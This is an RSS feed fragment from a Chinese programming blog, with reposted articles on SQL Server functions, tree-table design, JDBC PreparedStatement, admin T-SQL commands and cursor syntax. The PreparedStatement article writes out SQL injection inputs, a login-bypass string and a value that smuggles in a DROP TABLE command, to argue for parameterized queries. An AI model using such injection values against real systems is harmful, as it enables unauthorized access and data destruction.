FONT-STYLE: italic">Returns decimal(12,3)</span><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">As</span><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">Begin</span><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">Return (@CubeLength * @CubeWidth * @CubeHeight)</span><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">End</span><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">--SELECT  AppDta.dbo.CubicVolume (10,8,6)</span><br /><br />在上例中用CREATE FUNCTION 创建了一个函数CubicVolume 来计算立方体的体积，变量CubeLength CubeWidth CubeHeight 为输入参数，返回值为数值型。BEGIN 表明函数体的开始，END 表明函数体的结束。通过下例 我们就会清楚用户定义函数与table 型数据是如何有机结合的：<br /><br /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">Use pubs</span><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">Create Function SalesByStore(@storeid varchar(30))</span><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">Returns Table</span><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">As</span><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">Return (Select title, qty From sales s, titles t </span><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">Where s.stor_id = @storeid and t.title_id = s.title_id)</span><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">-- select * from sales</span><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><span style="COLOR: rgb(0,51,102); FONT-STYLE: italic">SELECT * FROM Pubs.dbo.SalesByStore(7131)</span><br style="COLOR: rgb(0,51,102); FONT-STYLE: italic" /><img src ="http://www.blogjava.net/liaojiyong/aggbug/74265.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2006-10-10 12:19 <a href="http://www.blogjava.net/liaojiyong/archive/2006/10/10/74265.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>数据库物理模型设计的其他模式之自联结模式(轉)</title><link>http://www.blogjava.net/liaojiyong/archive/2006/10/10/74264.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Tue, 10 Oct 2006 04:14:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2006/10/10/74264.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/74264.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2006/10/10/74264.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/74264.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/74264.html</trackback:ping><description><![CDATA[
		<div style="TEXT-INDENT: 21pt">自联结模式，也可以看作是“主从模式”的一种特殊情况（或者说是“变形”），它在一张表内实现了“一对多关系”，并且可以根据业务需要实现“有限层”或者“无限层”的主从嵌套。</div>
		<div style="TEXT-INDENT: 21pt">这种模式用得最多的情况就是实现“树形结构”数据的存储，比如各大网站上常见的细分类别、应用系统的组织结构、Web系统的菜单树等都能用到这种模式。</div>
		<div style="TEXT-INDENT: 21pt">自联结模式有很多变体，且每种变体的优缺点同样鲜明。由于本连载的重点在于对跨行业通用数据库模型设计进行分析，所以对每种具体模式的细节方面的设计技巧不能作详细论述，请大家原谅。这里仅举两个例子说明：</div>
		<div style="TEXT-INDENT: 21pt"> </div>
		<div style="MARGIN: 0cm 0cm 0pt 21.25pt; TEXT-INDENT: -21.25pt">
				<span>1.<span style="FONT: 7pt 'Times New Roman'">       </span></span>简单自联结</div>
		<div style="TEXT-INDENT: 21pt">简单自联结，就是在一个表里设置当前类ID、父类ID，同时规定最顶层类的父类ID为一个固定值（比如0），在生成树的时候使用递归算法，记录的前后顺序通过“排序号”字段来确定。</div>
		<div style="TEXT-INDENT: 21pt">
				<img alt="图9" src="http://p.blog.csdn.net/images/p_blog_csdn_net/liu7537/图9.jpg" />
		</div>
		<div style="TEXT-INDENT: 21pt">这个表用来存储菜单树很方便。首先会有一个主菜单，主菜单下有子菜单，子菜单下面又有孙菜单……菜单的数量不确定、层级不确定，用户可以在任意菜单下增加新的子菜单，或者删除某个子菜单及其下的所有孙菜单……这种设计方式很多人都会用到，短小精悍、维护方便、且完全满足用户需求，而且树的层次不限，扩展起来非常容易。这些都是它的优点。</div>
		<div style="TEXT-INDENT: 21pt">它的缺点就是树结构的生成由于使用了递归算法，必然要对该表进行多次读取（读取的次数 = 表内的记录数 – 最深层级的记录数），多次读取就来了比较低的运行效率，当表里的记录很多的时候，这个缺点可以称得上是致命的。</div>
		<div style="TEXT-INDENT: 21pt">于是就有了下面的这种设计模式。</div>
		<div style="MARGIN: 0cm 0cm 0pt 21.25pt; TEXT-INDENT: -21.25pt">
				<span>2.<span style="FONT: 7pt 'Times New Roman'">       </span></span>扩展自联结</div>
		<div style="TEXT-INDENT: 21pt">扩展自联结，与简单自联结的最大区别就是通过附加冗余字段来避免递归运算，所要实现的主要目标就是一次读取就能生成整个树，一次提高树的生成效率。</div>
		<div style="TEXT-INDENT: 21pt">但是，鱼与熊掌不可兼得，凡事都有两面性。</div>
		<div style="TEXT-INDENT: 21pt">生成树的效率提高了，增删改表内记录的算法就会相应复杂，并且树的层数也变为有限的了。</div>
		<div style="TEXT-INDENT: 21pt">所以在此类设计的时候，大家还是要认真分析业务需求，看看实际业务的重点在什么地方，然后再作具体设计。比如一些门户网站在首页显示产品类别是业务重点，那么我们在设计的时候就要尽可能的提高生成树的效率，采取扩展自联结模式；相反，一些基于Web的业务系统，要求对菜单树的增删改维护操作尽量简单，由于菜单的数目不多，所以菜单树的生成效率不是瓶颈，那么我们设计的时候就可以采取简单自联结模式。</div>
		<div style="TEXT-INDENT: 21pt">关于附加冗余字段实现扩展自联结的方法很多，网上也有很多这方面的帖子，大家可以到Google上搜一下。</div>
		<div style="TEXT-INDENT: 21pt">在这里仅举一个例子如下：</div>
		<div style="TEXT-INDENT: 21pt">
				<span lang="EN-US" style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 10.0pt; mso-fareast-font-family: 宋体; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">
						<?XML:NAMESPACE PREFIX = V /?>
						<v:shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f">
								<v:stroke joinstyle="miter">
								</v:stroke>
								<v:formulas>
										<v:f eqn="if lineDrawn pixelLineWidth 0">
										</v:f>
										<v:f eqn="sum @0 1 0">
										</v:f>
										<v:f eqn="sum 0 0 @1">
										</v:f>
										<v:f eqn="prod @2 1 2">
										</v:f>
										<v:f eqn="prod @3 21600 pixelWidth">
										</v:f>
										<v:f eqn="prod @3 21600 pixelHeight">
										</v:f>
										<v:f eqn="sum @0 0 1">
										</v:f>
										<v:f eqn="prod @6 1 2">
										</v:f>
										<v:f eqn="prod @7 21600 pixelWidth">
										</v:f>
										<v:f eqn="sum @8 21600 0">
										</v:f>
										<v:f eqn="prod @7 21600 pixelHeight">
										</v:f>
										<v:f eqn="sum @10 21600 0">
										</v:f>
								</v:formulas>
								<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect">
								</v:path>
								<?XML:NAMESPACE PREFIX = O /?>
								<o:lock v:ext="edit" aspectratio="t">
								</o:lock>
						</v:shapetype>
						<v:shape id="_x0000_i1025" style="WIDTH: 195pt; HEIGHT: 122.25pt" type="#_x0000_t75">
								<v:imagedata src="file:///C:\DOCUME~1\ADMINI~1.LIU\LOCALS~1\Temp\msohtml1\01\clip_image001.emz" o:title="">
								</v:imagedata>
						</v:shape>
				</span>
		</div>
		<div style="TEXT-INDENT: 21pt">
				<img alt="图10" src="http://p.blog.csdn.net/images/p_blog_csdn_net/liu7537/图10.jpg" />
		</div>
		<div style="TEXT-INDENT: 21pt">这个设计与前面的设计最大的区别就是排序字段，前面的简单自联结用了一个整数型的字段来实现排序，这里用了一个Varchar20型的字段“层级代码”来实现大排序。这个字段的取值两位一组，代表一层，假定最深为5层，初始值为0000000000。</div>
		<div style="TEXT-INDENT: 21pt">按照这样的设计，表内的数据记录可能就是这样的： </div>
		<div style="TEXT-INDENT: 21pt">ID<span>           TypeName           ParentID            TypeLevel</span></div>
		<div style="TEXT-INDENT: 21pt">1<span>             </span>根类别<span>               0                 000000</span></div>
		<div style="TEXT-INDENT: 21pt">2<span>             </span>类别1<span>                1                 010000</span></div>
		<div style="TEXT-INDENT: 21pt">3<span>             </span>类别1.1 <span>             2                 010100</span></div>
		<div style="TEXT-INDENT: 21pt">4<span>             </span>类别1.2<span>              2                 010200</span></div>
		<div style="TEXT-INDENT: 21pt">5<span>             </span>类别2<span>                1                 020000</span></div>
		<div style="TEXT-INDENT: 21pt">6<span>             </span>类别2.1<span>              5                 020100</span></div>
		<div style="TEXT-INDENT: 21pt">7<span>             </span>类别3<span>                1                 030000</span></div>
		<div style="TEXT-INDENT: 21pt">8<span>             </span>类别3.1<span>              7                 030100</span></div>
		<div style="TEXT-INDENT: 21pt">9<span>             </span>类别3.2<span>              7                 030200</span></div>
		<div style="TEXT-INDENT: 21pt">10<span>            </span>类别1.1.1<span>            3                 010101</span></div>
		<div style="TEXT-INDENT: 21pt">……</div>
		<div style="TEXT-INDENT: 21pt">现在按TypeLevel字段进行排序，执行如下SQL语句：SELECT * FROM TMP_Type ORDER BY TypeLevel</div>
		<div style="TEXT-INDENT: 21pt">列出记录集如下：</div>
		<div style="TEXT-INDENT: 21pt">ID<span>           TypeName           ParentID            TypeLevel</span></div>
		<div style="TEXT-INDENT: 21pt">1<span>             </span>总类别<span>               0                 000000</span></div>
		<div style="TEXT-INDENT: 21pt">2<span>             </span>类别1<span>                1                 010000</span></div>
		<div style="TEXT-INDENT: 21pt">3<span>             </span>类别1.1<span>              2                 010100</span></div>
		<div style="TEXT-INDENT: 21pt">10<span>            </span>类别1.1.1<span>            3                 010101</span></div>
		<div style="TEXT-INDENT: 21pt">4<span>             </span>类别1.2<span>              2                 010200</span></div>
		<div style="TEXT-INDENT: 21pt">5<span>             </span>类别2<span>                1                 020000</span></div>
		<div style="TEXT-INDENT: 21pt">6<span>             </span>类别2.1<span>              5                 020100</span></div>
		<div style="TEXT-INDENT: 21pt">7<span>             </span>类别3<span>                1                 030000</span></div>
		<div style="TEXT-INDENT: 21pt">8<span>             </span>类别3.1<span>              7                 030100</span></div>
		<div style="TEXT-INDENT: 21pt">9<span>             </span>类别3.2<span>              7                 030200</span></div>
		<div style="TEXT-INDENT: 21pt">……</div>
		<div style="TEXT-INDENT: 21pt">在控制显示类别的层次时，只要对“层级代码”字段中的数值进行判断，每2位一组，如大于0则向右移2个空格。</div>
<img src ="http://www.blogjava.net/liaojiyong/aggbug/74264.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2006-10-10 12:14 <a href="http://www.blogjava.net/liaojiyong/archive/2006/10/10/74264.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>为什么要始终使用PreparedStatement代替Statement? (轉)</title><link>http://www.blogjava.net/liaojiyong/archive/2006/10/10/74263.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Tue, 10 Oct 2006 04:09:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2006/10/10/74263.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/74263.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2006/10/10/74263.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/74263.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/74263.html</trackback:ping><description><![CDATA[在JDBC应用中,如果你已经是稍有水平开发者,你就应该始终以PreparedStatement代替Statement.也就是说,在任何时候都不要使用Statement.<br />基于以下的原因:<br />一.代码的可读性和可维护性.<br />虽然用PreparedStatement来代替Statement会使代码多出几行,但这样的代码无论从可读性还是可维护性上来说.都比直接用Statement的代码高很多档次:<br /><br />stmt.executeUpdate("insert into tb_name (col1,col2,col2,col4) values ('"+var1+"','"+var2+"',"+var3+",'"+var4+"')");<br /><br />perstmt = con.prepareStatement("insert into tb_name (col1,col2,col2,col4) values (?,?,?,?)");<br />perstmt.setString(1,var1);<br />perstmt.setString(2,var2);<br />perstmt.setString(3,var3);<br />perstmt.setString(4,var4);<br />perstmt.executeUpdate();<br /><br />不用我多说,对于第一种方法.别说其他人去读你的代码,就是你自己过一段时间再去读,都会觉得伤心.<br /><br />二.PreparedStatement尽最大可能提高性能.<br />每一种数据库都会尽最大努力对预编译语句提供最大的性能优化.因为预编译语句有可能被重复调用.所以语句在被DB的编译器编译后的执行代码被缓存下来,那么下次调用时只要是相同的预编译语句就不需要编译,只要将参数直接传入编译过的语句执行代码中(相当于一个涵数)就会得到执行.这并不是说只有一个Connection中多次执行的预编译语句被缓存,而是对于整个DB中,只要预编译的语句语法和缓存中匹配.那么在任何时候就可以不需要再次编译而可以直接执行.而statement的语句中,即使是相同一操作,而由于每次操作的数据不同所以使整个语句相匹配的机会极小,几乎不太可能匹配.比如:<br />insert into tb_name (col1,col2) values ('11','22');<br />insert into tb_name (col1,col2) values ('11','23');<br />即使是相同操作但因为数据内容不一样,所以整个个语句本身不能匹配,没有缓存语句的意义.事实是没有数据库会对普通语句编译后的执行代码缓存.<br /><br />当然并不是所以预编译语句都一定会被缓存,数据库本身会用一种策略,比如使用频度等因素来决定什么时候不再缓存已有的预编译结果.以保存有更多的空间存储新的预编译语句.<br /><br />三.最重要的一点是极大地提高了安全性.<br /><br />即使到目前为止,仍有一些人连基本的恶义SQL语法都不知道.<br />String sql = "select * from tb_name where name= '"+varname+"' and passwd='"+varpasswd+"'";<br />如果我们把[' or '1' = '1]作为varpasswd传入进来.用户名随意,看看会成为什么?<br /><br />select * from tb_name = '随意' and passwd = '' or '1' = '1';<br />因为'1'='1'肯定成立,所以可以任何通过验证.更有甚者:<br />把[';drop table tb_name;]作为varpasswd传入进来,则:<br />select * from tb_name = '随意' and passwd = '';drop table tb_name;有些数据库是不会让你成功的,但也有很多数据库就可以使这些语句得到执行.<br /><br />而如果你使用预编译语句.你传入的任何内容就不会和原来的语句发生任何匹配的关系.只要全使用预编译语句,你就用不着对传入的数据做任何过虑.而如果使用普通的statement,有可能要对drop,;等做费尽心机的判断和过虑.<br /><br />上面的几个原因,还不足让你在任何时候都使用PreparedStatement吗? <img src ="http://www.blogjava.net/liaojiyong/aggbug/74263.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2006-10-10 12:09 <a href="http://www.blogjava.net/liaojiyong/archive/2006/10/10/74263.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL Server 管理常用的SQL和T-SQL(轉)</title><link>http://www.blogjava.net/liaojiyong/archive/2006/10/10/74260.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Tue, 10 Oct 2006 04:01:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2006/10/10/74260.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/74260.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2006/10/10/74260.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/74260.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/74260.html</trackback:ping><description><![CDATA[1. 查看数据库的版本     <br />   select @@version <br />    <br />   常见的几种SQL SERVER打补丁后的版本号: <br />    <br />    8.00.194   Microsoft SQL Server 2000  <br />    8.00.384   Microsoft SQL Server 2000 SP1  <br />    8.00.532   Microsoft SQL Server 2000 SP2  <br />    8.00.760   Microsoft SQL Server 2000 SP3  <br />    8.00.818   Microsoft SQL Server 2000 SP3 w/ Cumulative Patch MS03-031  <br />    8.00.2039  Microsoft SQL Server 2000 SP4   <br />    <br />2. 查看数据库所在机器操作系统参数     <br />   exec master..xp_msver <br />    <br />3. 查看数据库启动的参数         <br />   sp_configure <br />         <br />4. 查看数据库启动时间         <br />   select convert(varchar(30),login_time,120) from master..sysprocesses where spid=1 <br />    <br />   查看数据库服务器名和实例名 <br />   print 'Server Name...............: ' + convert(varchar(30),@@SERVERNAME)         <br />   print 'Instance..................: ' + convert(varchar(30),@@SERVICENAME)       <br /><br />5. 查看所有数据库名称及大小 <br />   sp_helpdb <br />    <br />   重命名数据库用的SQL <br />   sp_renamedb 'old_dbname', 'new_dbname' <br />    <br />6. 查看所有数据库用户登录信息 <br />   sp_helplogins <br />    <br />   查看所有数据库用户所属的角色信息     <br />   sp_helpsrvrolemember <br />    <br />   修复迁移服务器时孤立用户时,可以用的fix_orphan_user脚本或者LoneUser过程 <br />    <br />   更改某个数据对象的用户属主 <br />   sp_changeobjectowner [@objectname =] 'object', [@newowner =] 'owner' <br />    <br />   注意: 更改对象名的任一部分都可能破坏脚本和存储过程。 <br />    <br />   把一台服务器上的数据库用户登录信息备份出来可以用add_login_to_aserver脚本 <br />    <br />   查看某数据库下,对象级用户权限 <br />   sp_helprotect <br />    <br />7. 查看链接服务器         <br />   sp_helplinkedsrvlogin <br />    <br />   查看远端数据库用户登录信息     <br />   sp_helpremotelogin <br />    <br />8.查看某数据库下某个数据对象的大小 <br />   sp_spaceused @objname <br />   <br />   还可以用sp_toptables过程看最大的N(默认为50)个表 <br />   <br />   查看某数据库下某个数据对象的索引信息 <br />   sp_helpindex @objname <br />    <br />   还可以用SP_NChelpindex过程查看更详细的索引情况 <br />   SP_NChelpindex @objname <br />    <br />   clustered索引是把记录按物理顺序排列的，索引占的空间比较少。  <br />   对键值DML操作十分频繁的表我建议用非clustered索引和约束，fillfactor参数都用默认值。 <br /><br />   查看某数据库下某个数据对象的的约束信息 <br />   sp_helpconstraint @objname <br />   <br />9.查看数据库里所有的存储过程和函数 <br />   use @database_name <br />   sp_stored_procedures <br /><br />   查看存储过程和函数的源代码 <br />   sp_helptext '@procedure_name' <br />    <br />   查看包含某个字符串@str的数据对象名称 <br />   select distinct object_name(id) from syscomments where text like '%@str%' <br />   <br />   创建加密的存储过程或函数在AS前面加WITH ENCRYPTION参数 <br />   <br />   解密加密过的存储过程和函数可以用sp_decrypt过程 <br />   <br />       10.查看数据库里用户和进程的信息 <br />   sp_who <br /><br />  查看SQL Server数据库里的活动用户和进程的信息 <br />   sp_who 'active' <br /><br />  查看SQL Server数据库里的锁的情况 <br />   sp_lock <br />    <br />   进程号1--50是SQL Server系统内部用的,进程号大于50的才是用户的连接进程. <br /><br />   spid是进程编号,dbid是数据库编号,objid是数据对象编号 <br /><br />   查看进程正在执行的SQL语句 <br />   dbcc inputbuffer () <br />            <br />  推荐大家用经过改进后的sp_who3过程可以直接看到进程运行的SQL语句 <br />   sp_who3 <br />    <br />  检查死锁用sp_who_lock过程 <br />   sp_who_lock     <br />        <br />       11.查看和收缩数据库日志文件的方法 <br />        <br />          查看所有数据库日志文件大小           <br />          dbcc sqlperf(logspace) <br />  <br />          如果某些日志文件较大，收缩简单恢复模式数据库日志，收缩后@database_name_log的大小单位为M <br />   backup log @database_name with no_log <br />   dbcc shrinkfile (@database_name_log, 5) <br /><br />       12.分析SQL Server SQL 语句的方法: <br />        <br />   set statistics time {on | off} <br /><br />   set statistics io {on | off} <br /><br />           图形方式显示查询执行计划 <br />            <br />           在查询分析器-&gt;查询-&gt;显示估计的评估计划(D)-Ctrl-L 或者点击工具栏里的图形 <br />            <br />           文本方式显示查询执行计划 <br /><br />   set showplan_all {on | off} <br />    <br />   set showplan_text { on | off } <br /><br />   set statistics profile { on | off } <br />    <br />  <br />       13.出现不一致错误时，NT事件查看器里出3624号错误，修复数据库的方法 <br />   <br />  先注释掉应用程序里引用的出现不一致性错误的表，然后在备份或其它机器上先恢复然后做修复操作 <br />   <br />  alter database [@error_database_name] set single_user <br />   <br />  修复出现不一致错误的表 <br />   <br />  dbcc checktable('@error_table_name',repair_allow_data_loss) <br />   <br />  或者可惜选择修复出现不一致错误的小型数据库名 <br />   <br />  dbcc checkdb('@error_database_name',repair_allow_data_loss) <br /><br />  alter database [@error_database_name] set multi_user <br /><br />  CHECKDB 有3个参数: <br /><br />  repair_allow_data_loss 包括对行和页进行分配和取消分配以改正分配错误、结构行或页的错误， <br />  以及删除已损坏的文本对象，这些修复可能会导致一些数据丢失。 <br />  修复操作可以在用户事务下完成以允许用户回滚所做的更改。 <br />  如果回滚修复，则数据库仍会含有错误，应该从备份进行恢复。 <br />  如果由于所提供修复等级的缘故遗漏某个错误的修复，则将遗漏任何取决于该修复的修复。 <br />  修复完成后，请备份数据库。  <br /><br />  repair_fast 进行小的、不耗时的修复操作，如修复非聚集索引中的附加键。 <br />  这些修复可以很快完成，并且不会有丢失数据的危险。  <br /><br />  repair_rebuild 执行由 repair_fast 完成的所有修复，包括需要较长时间的修复（如重建索引）。 <br />  执行这些修复时不会有丢失数据的危险。 <img src ="http://www.blogjava.net/liaojiyong/aggbug/74260.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2006-10-10 12:01 <a href="http://www.blogjava.net/liaojiyong/archive/2006/10/10/74260.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>如何让PowerDesigner支持自动生成含SQL Server 2000的表和列注释的角本</title><link>http://www.blogjava.net/liaojiyong/archive/2006/10/10/74245.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Tue, 10 Oct 2006 03:14:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2006/10/10/74245.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/74245.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2006/10/10/74245.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/74245.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/74245.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: PowerDesigner是Sybase公司著名的产品，我从16-bit的Windows开始，就接触并使用这个工具，应该说是有很深的感情。PowerDesigner是DBA和软件架构师设计的利器，随着版本的不断升级，PowerDesigner提供了更多更强大的功能。仅以本篇为开始，向大家介绍一些PowerDesinger中的使用技巧，帮助大家更好地更有效率地使用这个CASE工具。				...&nbsp;&nbsp;<a href='http://www.blogjava.net/liaojiyong/archive/2006/10/10/74245.html'>阅读全文</a><img src ="http://www.blogjava.net/liaojiyong/aggbug/74245.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2006-10-10 11:14 <a href="http://www.blogjava.net/liaojiyong/archive/2006/10/10/74245.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>mmsql游标詳解</title><link>http://www.blogjava.net/liaojiyong/archive/2006/09/30/73071.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Sat, 30 Sep 2006 08:30:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2006/09/30/73071.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/73071.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2006/09/30/73071.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/73071.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/73071.html</trackback:ping><description><![CDATA[
		<pre>每一个游标必须有四个组成部分这四个关键部分必须符合下面的顺序；
1.DECLARE 游标
2.OPEN 游标
3.从一个游标中FETCH 信息
4.CLOSE 或DEALLOCATE 游标
通常我们使用DECLARE 来声明一个游标声明一个游标主要包括以下主要内容： 
游标名字 
数据来源（表和列） 
选取条件 
属性（仅读或可修改）
其语法格式如下：
DECLARE cursor_name [INSENSITIVE] [SCROLL] CURSOR
FOR select_statement
[FOR {READ ONLY | UPDATE [OF column_name [,...n]]}]
其中： 
cursor_name
指游标的名字。 
INSENSITIVE
表明MS SQL SERVER 会将游标定义所选取出来的数据记录存放在一临时表内（建立在tempdb 数据库下）。<br />对该游标的读取操作皆由临时表来应答。因此，对基本表的修改并不影响游标提取的数据，即游标不会随着<br />基本表内容的改变而改变，同时也无法通过
游标来更新基本表。如果不使用该保留字，那么对基本表的更新、删除都会反映到游标中。

另外应该指出，当遇到以下情况发生时，游标将自动设定INSENSITIVE 选项。
在SELECT 语句中使用DISTINCT、 GROUP BY、 HAVING UNION 语句；
使用OUTER JOIN；
所选取的任意表没有索引；
将实数值当作选取的列。 
SCROLL
表明所有的提取操作（如FIRST、 LAST、 PRIOR、 NEXT、 RELATIVE、 ABSOLUTE）都可用。<br />如果不使用该保留字，那么只能进行NEXT 提取操作。由此可见，SCROLL 极大地增加了提取数据的灵活性，<br />可以随意读取结果集中的任一行数据记录，而不必关闭再
重开游标。 
select_statement
是定义结果集的SELECT 语句。应该注意的是，在游标中不能使用COMPUTE、COMPU- TE BY、 FOR BROWSE、 <br />INTO 语句。 
READ ONLY
表明不允许游标内的数据被更新尽管在缺省状态下游标是允许更新的。而且在UPDATE或DELETE 语句的<br />WHERE CURRENT OF 子句中，不允许对该游标进行引用。 
UPDATE [OF column_name[,…n]]
定义在游标中可被修改的列，如果不指出要更新的列，那么所有的列都将被更新。<br />当游标被成功创建后，游标名成为该游标的惟一标识，如果在以后的存储过程、触发器或Transact_SQL <br />脚本中使用游标，必须指定该游标的名字。 
LOCAL
定义游标的作用域仅限在其所在的存储过程、触发器或批处理中。当建立游标的存储过程执行结束后，<br />游标会被自动释放。因此，我们常在存储过程中使用OUTPUT 保留字，将游标传递给该存储过程的调用者，<br />这样在存储过程执行结束后，可以引用该游标变量，在该种情况下，直到引用该游标的最后一个就是被释放时，<br />游标才会自动释放。 
GLOBAL
定义游标的作用域是整个会话层会话层指用户的连接时间它包括从用户登录到SQLSERVER 到脱离数据库的整段时间。<br />选择GLOBAL 表明在整个会话层的任何存储过程、触发器或批处理中都可以使用该游标，只有当用户脱离数据库、<br />时该游标才会被自动释放。
注意：如果既未使用GLOBAL也未使用LOCAL，那么SQL SERVER将使用default local cursor数据库选项，为了<br />与以彰的版本歉容，该选项常设置为FALSE。 
FORWARD_ONLY
选项指明在从游标中提取数据记录时，只能按照从第一行到最后一行的顺序，此时只能选用FETCH NEXT 操作。<br />除非使用STATIC， KEYSET 和DYNAMIC 关键字，否则如果未指明是使用FORWARD_ONLY 还是使用SCROLL， <br />那么FORWARD_ONLY 将成为缺省选项，因为若使用STATIC KEYSET 和DYNAMIC 关键字，则变成了SCROLL 游标。<br />另外如果使用了FORWARD_ONLY， 便不能使用FAST_FORWARD。 
STATIC
选项的含义与INSENSITIVE 选项一样，MS SQL SERVER 会将游标定义所选取出来的数据记录存放在一临时表内<br />（建立在tempdb 数据库下）。对该游标的读取操作皆由临时表来应答。因此对基本表的修改并不影响游标中的数据，<br />即游标不会随着基本表内容的
改变而改变，同时也无法通过游标来更新基本表。 
KEYSET
指出当游标被打开时，游标中列的顺序是固定的，并且MS SQL SERVER 会在tempdb内建立一个表，该表即为KEYSET <br />KEYSET 的键值可惟一识别游标中的某行数据。当游标拥有者或其它用户对基本表中的非键值数据进行修改时，<br />这种变化能够反映到游标中，所以游标用户或所有者可以通过滚动游标提限这些数据。

    当其它用户增加一条新的符合所定义的游标范围的数据时，无法由此游标读到该数据。因为Transact-SQL <br />服务器游标不支持INSERT 语句。
    如果在游标中的某一行被删除掉，那么当通过游标来提取该删除行时，@@FETCH_STATUS 的返回值为-2。 <br />@@FETCH_STATUS 是用来判断读取游标是否成功的系统全局变量。
    由于更新操作包括两部分：删除原数据插入新数据，所以如果读取原数据，@@FETCH_STATUS 的返回值为-2； <br />而且无法通过游标来读取新插入的数据。但是如果使用了WHERE CURRENT OF 子句时，该新插入行数据便是可见的。
注意：如果基础表未包含惟一的索引或主键，则一个KEYSET游标将回复成STATIC游标。 
DYNAMIC
指明基础表的变化将反映到游标中，使用这个选项会最大程度上保证数据的一致性。然而，与KEYSET 和STATIC <br />类型游标相比较，此类型游标需要大量的游标资源。 
FAST_FORWARD
指明一个FORWARD_ONLY, READ_ONLY 型游标。此选项已为执行进行了优化。如果SCROLL 或FOR_UPDATE 选项被定义<br />，则FAST_FORWARD 选项不能被定义。 
